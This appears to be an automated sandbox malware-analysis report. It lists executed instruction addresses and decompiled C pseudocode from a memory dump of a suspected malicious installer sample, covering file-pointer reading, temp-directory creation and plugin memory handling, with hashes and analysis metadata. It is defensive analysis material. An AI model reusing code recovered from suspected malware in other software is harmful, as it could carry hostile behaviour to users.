0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406ccd
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd2
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cef
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d35
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073dd
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x00407413
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040741c
0x0040741c
0x00407420
0x004075cf
0x00000000
0x004075cf
0x0040742c
0x00407433
0x0040743b
0x0040743b
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x00000000
0x00406dec
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406dcf
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x00000000
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x00000000
0x00407137
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x004075e5
0x004075eb
0x004075ed
0x004075f4
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000

Strings

font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname, xrefs: 00406BB0
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu, xrefs: 00406BBA

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID:
String ID: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu$font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname
API String ID: 0-3310649546
Opcode ID: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction ID: 41bbaa2e3590000dceee7c9791d291245bc26db239967492cd44d063337b5de0
Opcode Fuzzy Hash: 42fe04b556333c9da529a864bcd0db0a91825228453d2ef5331aa29539740558
Instruction Fuzzy Hash: 3E814831D08228DBEF28CFA8C8447ADBBB1FF44305F14816AD856B7281D778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00403479 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00403479(intOrPtr _a4) {
				intOrPtr _t10;
				intOrPtr _t11;
				signed int _t12;
				void* _t14;
				void* _t15;
				long _t16;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t31;
				long _t32;
				intOrPtr _t34;
				intOrPtr _t36;
				void* _t37;
				intOrPtr _t49;

				_t32 =  *0x420ef4; // 0x26698
				_t34 = _t32 -  *0x40ce60 + _a4;
				 *0x42a26c = GetTickCount() + 0x1f4;
				if(_t34 <= 0) {
					L22:
					E0040302E(1);
					return 0;
				}
				E004035F8( *0x420f04);
				SetFilePointer( *0x40a01c,  *0x40ce60, 0, 0); // executed
				 *0x420f00 = _t34;
				 *0x420ef0 = 0;
				while(1) {
					_t10 =  *0x420ef8; // 0x3fa79
					_t31 = 0x4000;
					_t11 = _t10 -  *0x420f04;
					if(_t11 <= 0x4000) {
						_t31 = _t11;
					}
					_t12 = E004035E2(0x414ef0, _t31);
					if(_t12 == 0) {
						break;
					}
					 *0x420f04 =  *0x420f04 + _t31;
					 *0x40ce80 = 0x414ef0;
					 *0x40ce84 = _t31;
					L6:
					L6:
					if( *0x42a270 != 0 &&  *0x42a300 == 0) {
						_t19 =  *0x420f00; // 0x9e
						 *0x420ef0 = _t19 -  *0x420ef4 - _a4 +  *0x40ce60;
						E0040302E(0);
					}
					 *0x40ce88 = 0x40cef0;
					 *0x40ce8c = 0x8000; // executed
					_t14 = E00406BB0(0x40ce68); // executed
					if(_t14 < 0) {
						goto L20;
					}
					_t36 =  *0x40ce88; // 0x40cf8e
					_t37 = _t36 - 0x40cef0;
					if(_t37 == 0) {
						__eflags =  *0x40ce84; // 0x0
						if(__eflags != 0) {
							goto L20;
						}
						__eflags = _t31;
						if(_t31 == 0) {
							goto L20;
						}
						L16:
						_t16 =  *0x420ef4; // 0x26698
						if(_t16 -  *0x40ce60 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x40a01c, _t16, 0, 0); // executed
						goto L22;
					}
					_t18 = E0040620A( *0x40a01c, 0x40cef0, _t37); // executed
					if(_t18 == 0) {
						_push(0xfffffffe);
						L21:
						_pop(_t15);
						return _t15;
					}
					 *0x40ce60 =  *0x40ce60 + _t37;
					_t49 =  *0x40ce84; // 0x0
					if(_t49 != 0) {
						goto L6;
					}
					goto L16;
					L20:
					_push(0xfffffffd);
					goto L21;
				}
				return _t12 | 0xffffffff;
			}

0x0040347c
0x00403489
0x0040349c
0x004034a1
0x004035d1
0x004035d3
0x00000000
0x004035d9
0x004034ad
0x004034c0
0x004034c6
0x004034cc
0x004034d7
0x004034d7
0x004034dc
0x004034e1
0x004034e9
0x004034eb
0x004034eb
0x004034f4
0x004034fb
0x00000000
0x00000000
0x00403501
0x00403507
0x0040350d
0x00000000
0x00403513
0x00403519
0x00403523
0x00403539
0x0040353e
0x00403543
0x00403549
0x0040354f
0x00403559
0x00403560
0x00000000
0x00000000
0x00403562
0x00403568
0x0040356a
0x0040358d
0x00403593
0x00000000
0x00000000
0x00403595
0x00403597
0x00000000
0x00000000
0x00403599
0x00403599
0x004035ac
0x00000000
0x00000000
0x004035bb
0x00000000
0x004035bb
0x00403574
0x0040357b
0x004035c8
0x004035ce
0x004035ce
0x00000000
0x004035ce
0x0040357d
0x00403583
0x00403589
0x00000000
0x00000000
0x00000000
0x004035cc
0x004035cc
0x00000000
0x004035cc
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040348D

Part of subcall function 004035F8: SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000,00000000,?,?), ref: 004034C0
SetFilePointer.KERNELBASE(00026698,00000000,00000000,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu,00004000,?,00000000,004033A3,00000004,00000000,00000000,?,?,0040331D,000000FF,00000000), ref: 004035BB

Strings

font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname, xrefs: 004034D2, 0040356D
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu, xrefs: 004034ED, 004034F3

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: FilePointer$CountTick
String ID: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu$font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname
API String ID: 1092082344-3310649546
Opcode ID: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
Instruction ID: 4a0f782daef8a724a5dada35133bb9654e3c612a62d69fcdf17392b9264be50a
Opcode Fuzzy Hash: 3ac154d52ea9800dffc85ef1316eb03f3be91f57b238af8bcd161a90f23d8065
Instruction Fuzzy Hash: 3A31AEB2650205EFC7209F29EE848263BADF70475A755023BE900B22F1C7B59D42DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00405B99 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00405B99(WCHAR* _a4) {
				struct _SECURITY_ATTRIBUTES _v16;
				struct _SECURITY_DESCRIPTOR _v36;
				int _t22;
				long _t23;

				_v36.Sbz1 = _v36.Sbz1 & 0x00000000;
				_v36.Owner = 0x4083f8;
				_v36.Group = 0x4083f8;
				_v36.Sacl = _v36.Sacl & 0x00000000;
				_v16.bInheritHandle = _v16.bInheritHandle & 0x00000000;
				_v16.lpSecurityDescriptor =  &_v36;
				_v36.Revision = 1;
				_v36.Control = 4;
				_v36.Dacl = 0x4083e8;
				_v16.nLength = 0xc;
				_t22 = CreateDirectoryW(_a4,  &_v16); // executed
				if(_t22 != 0) {
					L1:
					return 0;
				}
				_t23 = GetLastError();
				if(_t23 == 0xb7) {
					if(SetFileSecurityW(_a4, 0x80000007,  &_v36) != 0) {
						goto L1;
					}
					return GetLastError();
				}
				return _t23;
			}

0x00405ba4
0x00405ba8
0x00405bab
0x00405bb1
0x00405bb5
0x00405bb9
0x00405bc1
0x00405bc8
0x00405bce
0x00405bd5
0x00405bdc
0x00405be4
0x00405be6
0x00000000
0x00405be6
0x00405bf0
0x00405bf7
0x00405c0d
0x00000000
0x00000000
0x00000000
0x00405c0f
0x00405c13

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405BDC
GetLastError.KERNEL32 ref: 00405BF0
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405C05
GetLastError.KERNEL32 ref: 00405C0F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BBF

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3355392842
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: 886f74eda6482ab63e8fe18d08a652fea41827dc0a526659a7d7b5e138c44e4e
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 95010871D04219EAEF009FA1CD44BEFBBB8EF14314F04403ADA44B6180E7789648CB99

Uniqueness

Uniqueness Score: -1.00%

Function 70F51817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E70F51817(void* __edx, void* __edi, void* __esi, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void _v36;
				char _v136;
				struct HINSTANCE__* _t37;
				intOrPtr _t42;
				void* _t48;
				void* _t49;
				void* _t50;
				void* _t54;
				intOrPtr _t57;
				signed int _t61;
				signed int _t63;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t76;

				_t76 = __esi;
				_t68 = __edi;
				_t67 = __edx;
				 *0x70f5506c = _a8;
				 *0x70f55070 = _a16;
				 *0x70f55074 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x70f55048, E70F51651);
				_push(1); // executed
				_t37 = E70F51BFF(); // executed
				_t54 = _t37;
				if(_t54 == 0) {
					L28:
					return _t37;
				} else {
					if( *((intOrPtr*)(_t54 + 4)) != 1) {
						E70F5243E(_t54);
					}
					_push(_t54);
					E70F52480(_t67);
					_t57 =  *((intOrPtr*)(_t54 + 4));
					if(_t57 == 0xffffffff) {
						L14:
						if(( *(_t54 + 0x1010) & 0x00000004) == 0) {
							if( *((intOrPtr*)(_t54 + 4)) == 0) {
								_push(_t54);
								_t37 = E70F52655();
							} else {
								_push(_t76);
								_push(_t68);
								_t61 = 8;
								_t13 = _t54 + 0x1018; // 0x1018
								memcpy( &_v36, _t13, _t61 << 2);
								_t42 = E70F51666(_t54,  &_v136);
								 *(_t54 + 0x1034) =  *(_t54 + 0x1034) & 0x00000000;
								_t18 = _t54 + 0x1018; // 0x1018
								_t72 = _t18;
								_push(_t54);
								 *((intOrPtr*)(_t54 + 0x1020)) = _t42;
								 *_t72 = 4;
								E70F52655();
								_t63 = 8;
								_t37 = memcpy(_t72,  &_v36, _t63 << 2);
							}
						} else {
							_push(_t54);
							E70F52655();
							_t37 = GlobalFree(E70F51312(E70F51654(_t54)));
						}
						if( *((intOrPtr*)(_t54 + 4)) != 1) {
							_t37 = E70F52618(_t54);
							if(( *(_t54 + 0x1010) & 0x00000040) != 0 &&  *_t54 == 1) {
								_t37 =  *(_t54 + 0x1008);
								if(_t37 != 0) {
									_t37 = FreeLibrary(_t37);
								}
							}
							if(( *(_t54 + 0x1010) & 0x00000020) != 0) {
								_t37 = E70F515DD( *0x70f55068);
							}
						}
						if(( *(_t54 + 0x1010) & 0x00000002) != 0) {
							goto L28;
						} else {
							return GlobalFree(_t54);
						}
					}
					_t48 =  *_t54;
					if(_t48 == 0) {
						if(_t57 != 1) {
							goto L14;
						}
						E70F52E23(_t54);
						L12:
						_t54 = _t48;
						L13:
						goto L14;
					}
					_t49 = _t48 - 1;
					if(_t49 == 0) {
						L8:
						_t48 = E70F52B98(_t57, _t54); // executed
						goto L12;
					}
					_t50 = _t49 - 1;
					if(_t50 == 0) {
						E70F52810(_t54);
						goto L13;
					}
					if(_t50 != 1) {
						goto L14;
					}
					goto L8;
				}
			}

0x70f51817
0x70f51817
0x70f51817
0x70f51824
0x70f5182c
0x70f51839
0x70f51847
0x70f5184a
0x70f5184c
0x70f51851
0x70f51856
0x70f51978
0x70f51978
0x70f5185c
0x70f51860
0x70f51863
0x70f51868
0x70f51869
0x70f5186a
0x70f51870
0x70f51876
0x70f518a6
0x70f518ad
0x70f518d1
0x70f5191e
0x70f5191f
0x70f518d3
0x70f518d3
0x70f518d4
0x70f518dd
0x70f518de
0x70f518e8
0x70f518eb
0x70f518f0
0x70f518f7
0x70f518f7
0x70f518fd
0x70f518fe
0x70f51904
0x70f5190a
0x70f51917
0x70f51918
0x70f5191b
0x70f518af
0x70f518af
0x70f518b0
0x70f518c5
0x70f518c5
0x70f51929
0x70f5192c
0x70f51939
0x70f51940
0x70f51948
0x70f5194b
0x70f5194b
0x70f51948
0x70f51958
0x70f51960
0x70f51965
0x70f51958
0x70f5196d
0x00000000
0x70f5196f
0x00000000
0x70f51970
0x70f5196d
0x70f5187a
0x70f5187d
0x70f5189b
0x00000000
0x00000000
0x70f5189e
0x70f518a3
0x70f518a3
0x70f518a5
0x00000000
0x70f518a5
0x70f5187f
0x70f51880
0x70f51888
0x70f51889
0x00000000
0x70f51889
0x70f51882
0x70f51883
0x70f51891
0x00000000
0x70f51891
0x70f51886
0x00000000
0x00000000
0x00000000
0x70f51886

APIs

Part of subcall function 70F51BFF: GlobalFree.KERNEL32(?), ref: 70F51E74
Part of subcall function 70F51BFF: GlobalFree.KERNEL32(?), ref: 70F51E79
Part of subcall function 70F51BFF: GlobalFree.KERNEL32(?), ref: 70F51E7E

GlobalFree.KERNEL32(00000000), ref: 70F518C5
FreeLibrary.KERNEL32(?), ref: 70F5194B
GlobalFree.KERNEL32(00000000), ref: 70F51970

Part of subcall function 70F5243E: GlobalAlloc.KERNEL32(00000040,?), ref: 70F5246F

Part of subcall function 70F52810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,70F51896,00000000), ref: 70F528E0

Part of subcall function 70F51666: wsprintfW.USER32 ref: 70F51694

Strings

, xrefs: 70F51951

Memory Dump Source

Source File: 00000000.00000002.3306913680.0000000070F51000.00000020.00000001.01000000.00000004.sdmp, Offset: 70F50000, based on PE: true

Associated: 00000000.00000002.3306845588.0000000070F50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3306989815.0000000070F54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3307057428.0000000070F56000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70f50000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
